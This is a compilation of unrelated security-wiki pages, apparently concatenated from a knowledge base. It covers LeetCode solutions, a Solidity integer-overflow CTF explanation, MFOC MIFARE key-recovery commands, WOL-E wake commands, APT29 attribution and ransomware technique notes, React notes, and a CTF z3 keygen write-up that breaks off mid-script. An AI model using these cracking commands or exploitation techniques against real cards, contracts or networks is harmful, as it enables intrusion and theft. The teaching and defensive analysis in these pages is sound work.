[力扣](https://leetcode-cn.com/problems/beautiful-arrangement-ii/description/) ```html Input: n = 3, k = 2 Output: [1, 3, 2] Explanation: The [1, 3, 2] has three different positive integers ranging from 1 to 3, and the [2, 1] has exactly 2 distinct integers: 1 and 2. ``` 题目描述:数组元素为 1\~n 的整数,要求构建数组,使得相邻元素的差值不相同的个数为 k。 让前 k+1 个元素构建出 k 个不相同的差值,序列为:1 k+1 2 k 3 k-1 ... k/2 k/2+1. ```java public int[] constructArray(int n, int k) { int[] ret = new int[n]; ret[0] = 1; for (int i = 1, interval = k; i <= k; i++, interval--) { ret[i] = i % 2 == 1 ? ret[i - 1] + interval : ret[i - 1] - interval; } for (int i = k + 1; i < n; i++) { ret[i] = i + 1; } return ret; } ``` ## 9. 数组的度 697\. Degree of an Array (Easy) [Leetcode](https://leetcode.com/problems/degree-of-an-array/description/) / [力扣](https://leetcode-cn.com/problems/degree-of-an-array/description/) ```html Input: [1,2,2,3,1,4,2] Output: 6 ``` 题目描述:数组的度定义为元素出现的最高频率,例如上面的数组度为 3。要求找到一个最小的子数组,这个子数组的度和原数组一样。 ```java public int findShortestSubArray(int[] nums) { Map<Integer, Integer> numsCnt = new HashMap<>(); Map<Integer, Integer> numsLastIndex = new HashMap<>(); Map<Integer, Integer> numsFirstIndex = new HashMap<>(); for (int i = 0; i < nums.length; i++) { int num = nums[i]; numsCnt.put(num, numsCnt.getOrDefault(num, 0) + 1); numsLastIndex.put(num, i); if (!numsFirstIndex.containsKey(num)) { numsFirstIndex.put(num, i); } } int maxCnt = 0; for (int num : nums) { maxCnt = Math.max(maxCnt, numsCnt.get(num)); } int ret = nums.length; for (int i = 0; i < nums.length; i++) { int num = nums[i]; int cnt = numsCnt.get(num); if (cnt != maxCnt) continue; ret = Math.min(ret, numsLastIndex.get(num) - numsFirstIndex.get(num) + 1); } return ret; } ``` ## 10. 对角元素相等的矩阵 766\. Toeplitz Matrix (Easy) [Leetcode](https://leetcode.com/problems/toeplitz-matrix/description/) / [力扣](https://leetcode-cn.com/problems/toeplitz-matrix/description/) ```html 1234 5123 9512 In the above grid, the diagonals are "[9]", "[5, 5]", "[1, 1, 1]", "[2, 2, 2]", "[3, 3]", "[4]", and in each diagonal all elements are the same, so the answer is True. ``` ```java public boolean isToeplitzMatrix(int[][] matrix) { for (int i = 0; i < matrix[0].length; i++) { if (!check(matrix, matrix[0][i], 0, i)) { return false; } } for (int i = 0; i < matrix.length; i++) { if (!check(matrix, matrix[i][0], i, 0)) { return false; } } return true; } private boolean check(int[][] matrix, int expectValue, int row, int col) { if (row >= matrix.length || col >= matrix[0].length) { return true; } if (matrix[row][col] != expectValue) { return false; } return check(matrix, expectValue, row + 1, col + 1); } ``` ## 11. 嵌套数组 565\. Array Nesting (Medium) [Leetcode](https://leetcode.com/problems/array-nesting/description/) / [力扣](https://leetcode-cn.com/problems/array-nesting/description/) ```html Input: A = [5,4,0,3,1,6,2] Output: 4 Explanation: A[0] = 5, A[1] = 4, A[2] = 0, A[3] = 3, A[4] = 1, A[5] = 6, A[6] = 2. One of the longest S[K]: S[0] = {A[0], A[5], A[6], A[2]} = {5, 6, 2, 0} ``` 题目描述:S[i] 表示一个集合,集合的第一个元素是 A[i],第二个元素是 A[A[i]],如此嵌套下去。求最大的 S[i]。 ```java public int arrayNesting(int[] nums) { int max = 0; for (int i = 0; i < nums.length; i++) { int cnt = 0; for (int j = i; nums[j] != -1; ) { cnt++; int t = nums[j]; nums[j] = -1; // 标记该位置已经被访问 j = t; } max = Math.max(max, cnt); } return max; } ``` ## 12. 分隔数组 769\. Max Chunks To Make Sorted (Medium) [Leetcode](https://leetcode.com/problems/max-chunks-to-make-sorted/description/) / [力扣](https://leetcode-cn.com/problems/max-chunks-to-make-sorted/description/) ```html Input: arr = [1,0,2,3,4] Output: 4 Explanation: We can split into two chunks, such as [1, 0], [2, 3, 4]. However, splitting into [1, 0], [2], [3], [4] is the highest number of chunks possible. ``` 题目描述:分隔数组,使得对每部分排序后数组就为有序。 ```java public int maxChunksToSorted(int[] arr) { if (arr == null) return 0; int ret = 0; int right = arr[0]; for (int i = 0; i < arr.length; i++) { right = Math.max(right, arr[i]); if (right == i) ret++; } return ret; } ```
sec-knowleage
# Integer Overflow and Underflow ## 原理 EVM的整数有 `int` 和 `uint` 两种,对应有无符号的情况。在 `int` 或 `uint` 后可以跟随一个8的倍数,表示该整数的位数,如8位的 `uint8`。位数上限为256位,`int` 和 `uint` 分别是 `int256` 和 `uint256` 的别名,一般 `uint` 使用的更多。 在整数超出位数的上限或下限时,就会静默地进行取模操作。通常我们希望费用向上溢出变小,或者存款向下溢出变大。整数溢出漏洞可以使用 SafeMath 库来防御,当发生溢出时会回滚交易。 ## 例子 以 Capture The Ether 的 Token sale 为例: ```solidity pragma solidity ^0.4.21; contract TokenSaleChallenge { mapping(address => uint256) public balanceOf; uint256 constant PRICE_PER_TOKEN = 1 ether; function TokenSaleChallenge(address _player) public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance < 1 ether; } function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens; } function sell(uint256 numTokens) public { require(balanceOf[msg.sender] >= numTokens); balanceOf[msg.sender] -= numTokens; msg.sender.transfer(numTokens * PRICE_PER_TOKEN); } } ``` 在本题中,购买单个代币需要支付 1 ether,即 `msg.value == numTokens * PRICE_PER_TOKEN`。在EVM中,货币以 wei 为单位,1 ether 实际上是 $10 ^ { 18 }$ wei,即 0xde0b6b3a7640000 wei。如果让这里的 `numTokens` 大一些,乘积就可能溢出。例如我们购买 $2 ^ { 256 } // 10 ^ { 18 } + 1$ 个代币,乘上 $10 ^ { 18 }$ 后就发生了溢出,最终花费仅约 0.4 ether 就买到了大量代币。然后我们将买到的代币部分卖出,即可完成题目要求。 整数下溢的一个例子是减法操作。假设有一个合约实现了如下功能: ```solidity contract Bank { mapping(address => uint256) public balanceOf; ... function withdraw(uint256 amount) public { require(balanceOf[msg.sender] - amount >= 0); balanceOf[msg.sender] -= amount; msg.sender.send.value(amount)(); } } ``` 乍看之下没有问题,实际上 require 一行,`balanceOf[msg.sender]-amount` 的结果作为无符号整数,永远是大于等于 0 的,导致我们可以任意取款。正确的写法是 `require(balanceOf[msg.sender] >= amount)`。 整数下溢的另一个例子与重入攻击有关,如将持有数为 1 的物品卖出两次,或者将 1 ether 存款取出两次,导致结果为负数,储存为 uint 则为巨大的正数。 ## 题目 绝大部分重入攻击的题目都涉及到向下溢出,可参照重入攻击的部分。不涉及重入攻击的相对较少,可以参考以下题目。 ### ByteCTF 2019 - 题目名称 hf - 题目名称 bet !!! note 注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
sec-knowleage
# MFOC [Mifare Classic Offline Cracker] ## 项目主页 > https://github.com/nfc-tools/mfoc.git ## 简介 MFOC是一款用于实施Nethemba"离线嵌套"攻击的开源软件。 此程序允许从MIFARE Classic卡中恢复身份验证密钥。 请注意,MFOC只有在具有已知密匙时才能从目标恢复其他密钥: 默认密钥(在MFOC中使用硬编码) 或自定义密钥(由用户通过命令行输入)。 ## 从源码编译 ``` $ git clone https://github.com/nfc-tools/mfoc.git $ cd mfoc $ autoreconf -is $ ./configure $ make && sudo make install ``` ## 用法 ``` root@kali:~# mfoc -h Usage: mfoc [-h] [-k 密钥] [-f 密钥文件] ... [-P 探测值] [-T 容差值] [-O 输出文件] h 打印帮助信息并退出 k 尝试默认密钥和指定密钥 f 解析除默认密钥之外还要添加的密钥文件 P 每个扇区的探测值,默认值20 T 指定每次使用随机数的容差范围,默认值20 (即,总容差范围为40,上下浮动范围为20) O 导出卡中数据到指定文件(必选) D 如果没有PRNG漏洞,导出卡的部分数据到指定文件 示例: mfoc -O mycard.mfd 示例: mfoc -k ffffeeeedddd -O mycard.mfd 示例: mfoc -f keys.txt -O mycard.mfd 示例: mfoc -P 50 -T 30 -O mycard.mfd 此mfoc版本为 0.10.7 更多帮助信息请运行 'man mfoc' ```
sec-knowleage
# X-Day威胁分析与对战技巧 ## 目录 [TOC] ## 流行APT手法分析与APT29档案解密 ### solarwinds 供应链分析 - 3月,Prodaft(瑞士安全公司)对solarwinds进行事件分析溯源 - 供应链攻击流程 - msbuild注入 - 感染后,会进行目标监听,判断高价值目标 - 谷歌整理的供应链攻击流程分析图 - developer-source-build-package-dependency-use ### 关于APT29 #### 组织能力 - 钻石模型 - 攻击者 - 毛熊背景 - 受害者 - 基础设施 - 攻击者攻陷(毛熊特点)——私有资产——第三方平台 - 能力 - 金字塔模型(描述能力等级) #### 攻击事件 - 经典攻击事件 - 2016 对DNC机构的攻击 - 2020 对疫苗研制机构的攻击 - 非常规事件 - 2014Tor网络出口节点劫持 - 2015 黑产类的大规模鱼叉邮件攻击 - 黑产团伙,大规模进行钓鱼邮件攻击,来收割机肉鸡 #### 组织结构划分 - The Dukes - WillMess - Nobelium ### APT29归因分析 - APT命名是为了便于划分某一类具有相似之处的黑客组织 - 并不严格代表团伙和人员的边界,有一个服务多个的情况 - 事件归因是基于**当前积累和理解**向已知组织作出的合理挂靠 #### The Dukes归因 - 特点 - 组件中包含推特 - 使用隐写技术写入图片 - 第一步:受害者分析 - 时间线上的攻击活动调查 - 目标:以美国为主的北约成员国相关 - 第二步:特马编译时间时区 - 对比编译时间和正常工作时间的时区 - 第三步:查看美国情报机构的线索 - 是否有与事件相关的IP地址等IOC #### WellMes归因 - 攻击流程(与国内红队相似) - 单点渗透 - 横向 - 投递特马 --- - 第一步:SeaDuke&Wellmess(流量分析) - Cookie中包含SeaDuke&Wellmess的加密特征 - 第二步:Subburst&Kazaur(特马分析,卡巴斯基) - 木马上线延时-休眠时间算法 - API Hash摘要 - PC UID标识序列生成算法 --- - 通过已有的海量恶意样本库,满足上述算法指纹的进行归因 - 第三步:Prodaft——SilverFish调查报告 - 从FireEye披露的资产出发 - 攻击阶段的DNS解析 - 发现DNS服务器上,有2304有PowerMTA服务 - 基于上述特征,对全球IP进行测绘,过滤无关站点 - 发现特定IP后, 进行同C段主机排查 - 发现另IP上存在意思木马主控端后台的登入页面(**与黑产的资产类型有相同之处**) - 爆破登入木马主控端后台 - 第四步:CC后台源代码中的携带的开发者CID - 进行OSINT搜集,发现与毛熊的地下技术交流论坛有关联 - 第五步:发现后台中存在俄语俚语和常用语的字符片段 - 第六步:在后台中源代码中发现流量重定向的代码过滤 - 过滤毛熊联邦相关的 - 重点关注枫叶国、美丽国 - 第七步:CC后台操作行为活跃的事件区段 - 分析日志信息的时间段,对应正常工作时间段的时区 --- - 注意点: - 对IOC调查,会发现存在不同团伙使用相同IOC的情况 - 要保持质疑的态度 --- - 理论与现实 - 指导理论 - Killchain - 钻石模型 - TTPs - ATT&CK - 实际情况 - ATT&CK半自动化落地问题 - 攻击上下文数据缺失 - TTPs关联的论证 - 用TTPs关联时,一定要是独一无二的 - 以人为主导的组织关联局限性 --- - 组织关联分析总结 - 受害者分析 - 国家地域 - 特定行业 - 时政分析 - 攻击资产 - 武器库 - 特马 - 攻击样本溯源 - 网络资产 - 私有资产 - 第三方资产 - TTPs - 攻击战术偏好 - 载荷执行流程 - **单点指纹** - 要有足够的特殊性 - e.g. 图拉的加密算法会分层,每一步骤不同 - e.g. 特马对真实环境的判断,会对不同的检查点给分,在一定阈值或者水平线上进行判断 - 反制溯源 ![image-20210725201820674](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210725201820674.png) 图:组织关联分析图 --- - 数据拓线 - 失陷现场 - 上机取证 - 同环境排查 - 样本层 - 样本属性 - 签名 - 元素据 - 特殊事件 - 代码指纹 - 网络层 - 传输数据加密协议 - Domain特征 - e.g. 频繁出现的某些特定字段 - IP特征 - 判断是否为私有资产,如果是,则关联的域名等也大概率归攻击者 - URL特征 - Web页面服务特征 - Web页面资源特征 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210725201849906.png" alt="image-20210725201849906" style="zoom: 50%;" /> 图:数据拓线 ## 流行勒索病毒特性研究与分享 ### 勒索软件概述 #### 概述 - RaaS勒索即服务的模式 - 谁都可以买,谁都可以卖,类似于买卖枪支的模式 #### 特点 - 双重勒索已成常态 - 加密数据 - 窃取数据 - 三重勒索(DDOS) - 四重勒索(受害者合作伙伴) #### 趋势 从广撒网到针对性,趋向于APT形式 #### 勒索流程 以Kaseya VSA供应链攻击为例 - 对VSA服务器进行多个漏洞利用 - 凭证泄漏和业务逻辑咯浦东 - VSA身份验证绕过漏洞 - VSA文件上传漏洞 ### 勒索软件技术 #### 总体流程 投递——豁免——提权——加密策略——其他 #### 投递 - RDP爆破:RDP的弱口令爆破占大部分 - 邮件钓鱼,社工 - 漏洞,有上升趋势 #### 豁免 - 行业豁免,部分勒索软件会对部分行业进行豁免,例如医疗行业 - 区域豁免 - 独联体国家之间也会进行网络犯罪调查,所以部分勒索软件家族从被溯源风险和政治因素上考虑会进行区域豁免 #### 提权 - 关闭杀软、主防:防止检测 - 关闭软件关闭服务:避免加密过程中的文件占用 - 访问敏感路径 --- - Bypass微软UAC技术 - 系统文件在执行过程中会静默提权,绕过UAC - 这类程序的三个特点 - 具有autoElevate属性 - 具有微软签名 - 可信目录 - 根据劫持方式不同分为: - 注册表劫持 - DLL劫持 - 读取配置ini文件 - 可参考的GitHub项目:UACME(68), WinPwnage --- - 管理员权限到System权限的方法 - Handle继承 - **Token模拟** - **服务、计划任务** - 命名管道 - mofcomp.exe执行MOF文 ---- - 漏洞提权 - CVE-2018-8453 - CVE-2018-20250 - CVE-2018-13379 - CVE-2021-34527 #### 加密策略 - 利用Windows API进行文件遍历 - 过滤系统文件,保证系统的最低程度运行,进行白名单过滤 - IO读写操作占用资源大,趋势是采用**IO完成端口** - 将耗时的文件读取利用线程池操作,更快速、效率高,占用资源少,但编程复杂度高 - 将加密过程和遍历过程进行分离,加密时使用线程池 - MBR加密 - 加密MBR引导扇区数据,篡改MBR代码 - 创建重启计划任务 - 系统重启后加密NTFS文件系统 - 最后的效果是启动一个DOS界面 #### 免杀 - 动态加载API - 加密关键字符串 - 分离免杀 - 内存加载执行 - 白+黑 - 合法签名+黑Payload - Lolbin - 利用系统常见下载器 - 参考项目:lolbas-project.github.io #### 第三方工具 - ProcessHacker - Mimikatz - PsExec - PuTTY - CS - 仍有驻留、环境清理等技术 ### 预防 #### 预防的时机 - 事前预防 - 人是最大的漏洞 - 事后处理 - 使用非对称加密,很难解密 - 事中处理 --- - 如何检测,了解勒索软件的特点: - 关闭敏感进程、服务,删除备份文件 - 频繁的读取写入 - 写入勒索信 - 高CPU占用 --- - 预防措施 - 文件监控 - 建立诱饵文件 - 目录检测 - 文件拓展名是否更改 - CPU检测 - 当前业务的CPU利用率 - 进程监控 - 其他 - 毛熊勒索软件多,可以利用区域豁免的特点进行预防,例如安装毛熊键盘 ## 勒索病毒应急响应的方法与技巧 ### 排查案例 #### Buran勒索应急事件 - 运营商推广抽成? - 内网排查 - 主机分析(域控) - 通过注册表分析,分析时间线 - 3389远程桌面连接,作为跳板 --- - 日志分析 - 事件ID:1102,日志清除 - Windows日志 - “应用程序”日志 - “安全”日志 - “系统”日志 - 日志被清除的替代方案 - 流量设备 - 是否存在日志收集平台(SIEM),其他还有杀软之类的日志 - 日志被删,但又没被完全删除。Windows操作系统日志:winevt - 从其他主机,或者从外到内 --- - 资产&设备排查 - 钓鱼邮件排查 - 防火墙排查 - 互联网暴露资产排查(主动&被动) ### 勒索应急中的方法与技巧 #### 勒索家族判断 - 勒索文件后缀,加密后的文件后缀 - 勒索信文件名 - 勒索信内容 --- - 勒索病毒样本,沙箱检测 - 主机加密时间确认,工具:everything - 根据加密时间点附近时间进行回溯 - 搜索勒索常用辅助工具的关键词 - Diskgenius - 使用数据恢复的方式来查看已删除的文件 #### 日志分析 - 系统自带日志 - 编辑器 - 通过专业日志分析工具(e.g. logparser、splunk) - web日志分析,通过200状态码+URI查看成功被下载的文件 - 统计各种IP登入失败的次数和百分比 - 统计某个失陷账户从哪些主机登入 #### 流量分析 - NDR/IPS/IDS - 全流量设备+NDR - 全流量设备+Wireshark ### 应急响应排查的过程 #### 准备阶段 - 了解应急事件环境,涉事系统环境、类型、网络环境等 - 关联拓展事件情报上下文信息 - 制定事件应急响应方案 - 协调技术支持人员,现场/线上做好技术支持。知道 #### 抑制阶段 - 快速反应 - 内网关联威胁资产进行终端排查,日志溯源 - 制定针对勒索病毒的处置方案 #### 取证阶段 - 现场样本留存 - 木马清除 #### 溯源阶段 - 内部溯源:怎么进来的 - 外部溯源:资产和基础设施的信息 #### 清除阶段 #### 安全加固
sec-knowleage
# 温习Redux中相关的React知识点 ## 组件间数据传递 React核心思想就是数据和程序分离,用state进行状态的控制,用props进行数据间传递。 ### 利用`state`和`props`进行组件间数据传递 #### 核心思想 >通过子组件,修改父组件的 state ,然后把父组件的 state 作为所有子组件的 props 值传入各个子组件 #### 创建父组件 1. 创建组件`App` 2. 将我们需要的数据放在`state`里 3. 写一个`handleClick`方法进行修改数据 4. 将`handleClick`方法传入`CommentBox`组件中 5. `handleClick`方法的参数为子组件获取的值 6. 将`state`的值传入子组件 ```js import React, { Component } from 'react' import CommentBox from './CommentBox' class App extends Component { state = { data: '' } handleClick(data){ this.setState({data:data}) } render() { console.log('App:',this.state.data) return ( <div className="App"> <CommentBox data={this.state.data} handleClick={this.handleClick.bind(this)} /> </div> ) } } export default App ``` #### 子组件`CommentBox` 1. 创建组件`CommentBox` 2. 通过`ref`抓取虚拟节点 3. 通过`this.props.handleClick`拿到父组件传过来的`handleClick`方法 4. 通过子组建的`handleClick`方法来获取`input`内输入的`value`传给父组件 5. 通过`props`拿到父组件传过来的值(根据对应的名称) ```js import React from 'react' class CommentBox extends React.Component{ state = { data: this.props.data } handleClick(){ this.props.handleClick(this.comment.value) this.setState({data:this.props.data}) } render(){ let {data} = this.state //Es6对象的解构赋值 return( <div> { data.map(item => <li>{item}</li>) } <input className='input' type='text' ref={value=>this.comment=value} /> <input type='button' value='传给父组件' onClick={this.handleClick.bind(this)} /> </div> ) } } export default CommentBox ``` ## 关于触发`render`的条件 1. 组件的`state`发生改变 ```js import React from 'react' class App extends React.Component { state = { data:1 } handleClick(){ this.setState({data:0}) } render(){ console.log('render被触发') return( <div> <button onClick={this.handleClick.bind(this)}>点击</button> </div> ) } } export default App; ``` 2. 组件的`props`发生改变 ```js //父组件 import React, { Component } from 'react'; import Son from './Son'; class App extends Component { constructor() { super(); this.state = { data: 1 } } handleClick(e){ e.preventDefault(); this.setState({ data: this.state.data + 1 }) } render(){ return( <div> <Son num={this.state.data} /> <button onClick={this.handleClick.bind(this)}>Click</button> </div> ) } } export default App; ``` ```js //子组件 import React, { Component } from 'react'; class Son extends Component { render(){ console.log('子组件的render被触发') return( <h1 > { this.props.num } </h1> ) } } export default Son; ```
sec-knowleage
# w3af ## w3af软件包描述 w3af是一个用于对Web应用程序进行攻击和代码审计的框架,旨在识别和利用几乎所有Web应用程序漏洞。w3af软件包为本框架提供了图形用户界面(GUI)。如果您只想通过命令行使用w3af的话,可以安装w3af-console。w3af框架被称为“网络渗透界的metasploit”,但实际上w3af的功能不仅如此,它还能够使用黑盒扫描技术发现web应用程序漏洞!w3af本身及其插件都是使用Python编写的。w3af拥有130多个插件,使用它们可以方便地识别和利用SQL注入,跨站脚本(XSS),远程文件包含等漏洞. [w3af首页](http://w3af.sourceforge.net/) | [Kali w3af Repo](http://git.kali.org/gitweb/?p=packages/w3af.git;a=summary) - 作者:Andres Riancho - 许可证:GPLv2 ### w3af软件包中包含的工具 ##### w3af - Web应用程序攻击和审计框架 Web应用程序攻击和审计框架。 ### w3af使用方法(GUI) ```root @ kali:〜#w3af``` ![w3af的gui界面图](http://tools.kali.org/wp-content/uploads/2014/02/w3af.png)
sec-knowleage
# WOL-E软件包描述 WOL-E是一套利用计算机“网络唤醒”(Wake on LAN--WOL)功能的工具,该功能现在在许多Apple电脑上默认启用。这些工具包括: - 强制用MAC地址唤醒客户端 - 嗅探网络上的WOL请求并将其保存到磁盘 - 嗅探网络上的WOL密码并将其保存到磁盘 - 唤醒单个客户端(嗅探攻击) - 扫描网络上启用WOL功能的Apple设备 - 向所有检测到的Apple客户端发送批量WOL请求 资料来源:[https://code.google.com/p/wol-e/](https://code.google.com/p/wol-e/) [WOL-E首页](http://code.google.com/p/wol-e/)| [Kali WOL-E资源](http://git.kali.org/gitweb/?p=packages/wol-e.git;a=summary) - 作者:Nathaniel Carew - 许可证:GPLv3 ## WOL-E包含的工具 ### wol-e - 网络唤醒浏览器 ``` root@kali:~# wol-e -h [*] WOL-E 1.0 [*] Wake on LAN Explorer - A collection a WOL tools. [*] by Nathaniel Carew -m 唤醒单个电脑。 如果需要密码,请在上述命令的末尾使用-k 00:12:34:56:78:90。 wol-e -m 00:12:34:56:78:90 -b 192.168.1.255 -p <端口> -k <密码> 默认值: 端口:9 广播地址:255.255.255.255 密码:空 -s 嗅探网络上的WOL请求和密码。 所有捕获的WOL请求将显示在屏幕上并写入/usr/share/wol-e/WOLClients.txt。 wol-e -s -i eth0 -a 强制WOL客户端开机。 wol-e -a -p <端口> 将希望强制开机的地址范围放在bfmac.lst文件中。 它们应采用以下格式: 00:12:34:56 默认端口:9 -f 检测网络上启用WOL功能的Apple设备。 检测到的Apple MAC地址将输出到屏幕,并写入/usr/share/wol-e/AppleTargets.txt。 wol-e -f -fa 尝试唤醒所有记录在/usr/share/wol-e/AppleTargets.txt中的Apple目标。 这将向列表中的每个客户端发送一个WOL数据包,并告诉您尝试了多少客户端。 wol-e -fa ``` ## wol-e使用示例 检测联网的Apple设备(-f): ``` root@kali:~# wol-e -f [*] WOL-E 1.0 [*] [*] Wake on LAN Explorer - Scan for Apple devices. [*] arping 192.168.1.0/24 on eth0 [*] Apple device detected: de:ad:be:ef:46:32 192.168.1.12. saving to AppleTargets.txt ``` 原文链接:[http://tools.kali.org/information-gathering/wol-e](http://tools.kali.org/information-gathering/wol-e)
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) >, < [sjas](https://github.com/sjas) > ---- # Vulnerability Assessment Having identified the most viable attack methods, you need to consider how you will access the target. During vulnerability analysis, you combine the information that you’ve learned from the prior phases and use it to understand what attacks might be viable. Among other things, vulnerability analysis takes into account port and vulnerability scans, data gathered by banner grabbing, and information collected during intelligence gathering. |**Assessment Categroy**|**Bookmarks**| |:----------------------|:------------| |Network Assessment || |Web Application Assessment|| |Database Assessment|| # Links 1. http://www.exploit-db.com/ 2. http://www.cvedetails.com/ 3. http://packetstormsecurity.com/ 4. http://www.securityfocus.com/bid 5. http://nvd.nist.gov/ 6. http://osvdb.org/ 7. http://cve.mitre.org/ 8. http://sec.jetlib.com/ 9. http://0day.today/ 10. https://www.seebug.org/ 11. https://www.rapid7.com/db/ 12. http://zerodayinitiative.com/advisories/published/ 13. http://exploitsearch.net/ 14. http://nvd.nist.gov/download/nvd-rss-analyzed.xml 15. http://www.intelligentexploit.com/ 16. https://wpvulndb.com/ 17. http://www.wordpressexploit.com/ 18. http://www.drupalexploit.com/ 19. http://www.openwall.com/lists/oss-security/ 20. http://exploitsearch.net/ 21. https://www.vulnerability-lab.com/
sec-knowleage
# Cr4ckZ33C0d3 Reversing, 466 points ## Description: A binary was attached, as well as a server address. ## Solution: Let's run the binary: ```console root@kali:/media/sf_CTFs/tamu/Cr4ckZ33C0d3# ./prodkey Please Enter a product key to continue: test Key was too short 5. ``` So we'll have to provide some product key in order to get the flag. Let's check out the decompiled C source using ghidra: ```c undefined8 main(void) { ulong uVar1; FILE *__stream; long in_FS_OFFSET; char user_key [32]; char local_78 [104]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("\nPlease Enter a product key to continue: "); fgets(user_key,30,stdin); uVar1 = verify_key(user_key); if ((char)uVar1 != 0) { __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { puts("Too bad the flag is only on the remote server!"); } else { fgets(local_78,100,__stream); printf("%s",local_78); } } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } ulong verify_key(char *user_key) { uint uVar1; size_t key_len; size_t sVar2; undefined8 uVar3; ulong uVar4; key_len = strlen(user_key); if (28 < key_len) { uVar3 = check_01((long)user_key); if ((((((char)uVar3 == 0) || (uVar3 = check_02((long)user_key), (char)uVar3 == 0)) || (uVar3 = check_03((long)user_key), (char)uVar3 == 0)) || (((uVar4 = check_04((long)user_key), (char)uVar4 == 0 || (uVar4 = check_05((long)user_key), (char)uVar4 == 0)) || ((uVar4 = check_06((long)user_key), (char)uVar4 == 0 || ((uVar4 = check_07((long)user_key), (char)uVar4 == 0 || (uVar4 = check_08((long)user_key), (char)uVar4 == 0)))))))) || ((uVar4 = check_09((long)user_key), (char)uVar4 == 0 || (((((uVar4 = check_0A((long)user_key), (char)uVar4 == 0 || (uVar3 = check_0B((long)user_key), (char)uVar3 == 0)) || (uVar4 = check_0C((long)user_key), (char)uVar4 == 0)) || ((uVar4 = check_0D((long)user_key), (char)uVar4 == 0 || (uVar4 = check_0E((long)user_key), (char)uVar4 == 0)))) || (uVar4 = check_0F(user_key), (char)uVar4 == 0)))))) { uVar1 = 0; } else { uVar1 = 1; } return (ulong)uVar1; } sVar2 = strlen(user_key); printf("Key was too short %d.\n",sVar2); return 0; } ``` So we see that the key needs to be 29 characters long, and has to pass multiple checks in order to be considered valid. An example check: ```c undefined8 check_01(long param_1) { undefined8 uVar1; if ((((*(char *)(param_1 + 5) == '-') && (*(char *)(param_1 + 0xb) == '-')) && (*(char *)(param_1 + 0x11) == '-')) && (*(char *)(param_1 + 0x17) == '-')) { uVar1 = 1; } else { uVar1 = 0; } return uVar1; } ``` This checks that there are dashes in the correct places, dividing the key into five segments of 5 characters each. The following script uses Z3 to satisfy all the constrains and send the key to the server. Each constraint contains the matching decompiled source code as a comment: ```python from z3 import * from pwn import * def get_key(): KEY_LEN = 29 key = [BitVec("{}".format(i), 32) for i in range(KEY_LEN)] solver = Solver() # all values are printable characters excluding space (33 - 126) for i in range(KEY_LEN): solver.add(key[i] >= ord('!')) solver.add(key[i] <= ord('~')) # Check_01 # ((((*(char *)(param_1 + 5) == '-') && (*(char *)(param_1 + 0xb) == '-')) && # (*(char *)(param_1 + 0x11) == '-')) && (*(char *)(param_1 + 0x17) == '-')) solver.add(key[5] == ord("-")) solver.add(key[0xb] == ord("-")) solver.add(key[0x11] == ord("-")) solver.add(key[0x17] == ord("-")) #Check_02 # (((((((int)*(char *)(param_1 + 1) - 0x30U < 10) && ((int)*(char *)(param_1 + 4) - 0x30U < 10)) # && ((int)*(char *)(param_1 + 6) - 0x30U < 10)) && # (((int)*(char *)(param_1 + 9) - 0x30U < 10 && ((int)*(char *)(param_1 + 0xf) - 0x30U < 10)))) # && (((int)*(char *)(param_1 + 0x12) - 0x30U < 10 && # (((int)*(char *)(param_1 + 0x16) - 0x30U < 10 && # ((int)*(char *)(param_1 + 0x1b) - 0x30U < 10)))))) && # ((int)*(char *)(param_1 + 0x1c) - 0x30U < 10)) for i in [1, 4, 6, 9, 0xf, 0x12, 0x16, 0x1b, 0x1c]: solver.add(key[i] < ord('0') + 10) solver.add(key[i] >= ord('0')) #Check_03 # ((((int)*(char *)(param_1 + 4) + -0x30 == ((int)*(char *)(param_1 + 1) + -0x30) * 2 + 1) && # (7 < (int)*(char *)(param_1 + 4) + -0x30)) && # ((int)*(char *)(param_1 + 9) == # ((int)*(char *)(param_1 + 4) - ((int)*(char *)(param_1 + 1) + -0x30)) + 2)) solver.add(key[4] - ord('0') == (key[1] - ord('0')) * 2 + 1) solver.add(7 < key[4] - ord('0')) solver.add(key[9] == key[4] - (key[1] - ord('0')) + 2) #Check_04 # (ulong)(((int)*(char *)(param_1 + 0x1b) + (int)*(char *)(param_1 + 0x1c)) % 0xd == 8) solver.add((key[0x1b] + key[0x1c]) % 0xd == 8) #Check_05 # (ulong)(((int)*(char *)(param_1 + 0x1b) + (int)*(char *)(param_1 + 0x16)) % 0x16 == 0x12) solver.add((key[0x1b] + key[0x16]) % 0x16 == 0x12) #Check_06 # (ulong)(((int)*(char *)(param_1 + 0x12) + (int)*(char *)(param_1 + 0x16)) % 0xb == 5) solver.add((key[0x12] + key[0x16]) % 0xb == 5) #Check_07 # (ulong)(((int)*(char *)(param_1 + 0x1c) + (int)*(char *)(param_1 + 0x16) + # (int)*(char *)(param_1 + 0x12)) % 0x1a == 4) solver.add((key[0x1c] + key[0x16] + key[0x12]) % 0x1a == 4) #Check_08 # (ulong)(((int)*(char *)(param_1 + 1) + # (int)*(char *)(param_1 + 6) * (int)*(char *)(param_1 + 4)) % 0x29 == 5) solver.add((key[1] + key[6] * key[4]) % 0x29 == 5) #Check_09 # uint uVar1; # int iVar2; # iVar2 = (int)*(char *)(param_1 + 0xf) - (int)*(char *)(param_1 + 0x1c); # uVar1 = (uint)(iVar2 >> 0x1f) >> 0x1e; # return (ulong)((iVar2 + uVar1 & 3) - uVar1 == 1) #uVar1_09 = BitVec("uVar1_09", 32) #iVar2_09 = BitVec("iVar2_09", 32) iVar2_09 = key[0xf] - key[0x1c] uVar1_09 = (iVar2_09 >> 0x1f) >> 0x1e solver.add((iVar2_09 + uVar1_09 & 3) - uVar1_09 == 1) #Check_10 # uint uVar1; # int iVar2; # iVar2 = (int)*(char *)(param_1 + 4) + (int)*(char *)(param_1 + 0x16); # uVar1 = (uint)(iVar2 >> 0x1f) >> 0x1e; # return (ulong)((iVar2 + uVar1 & 3) - uVar1 == 3) iVar2_10 = key[4] + key[0x16] uVar1_10 = (iVar2_10 >> 0x1f) >> 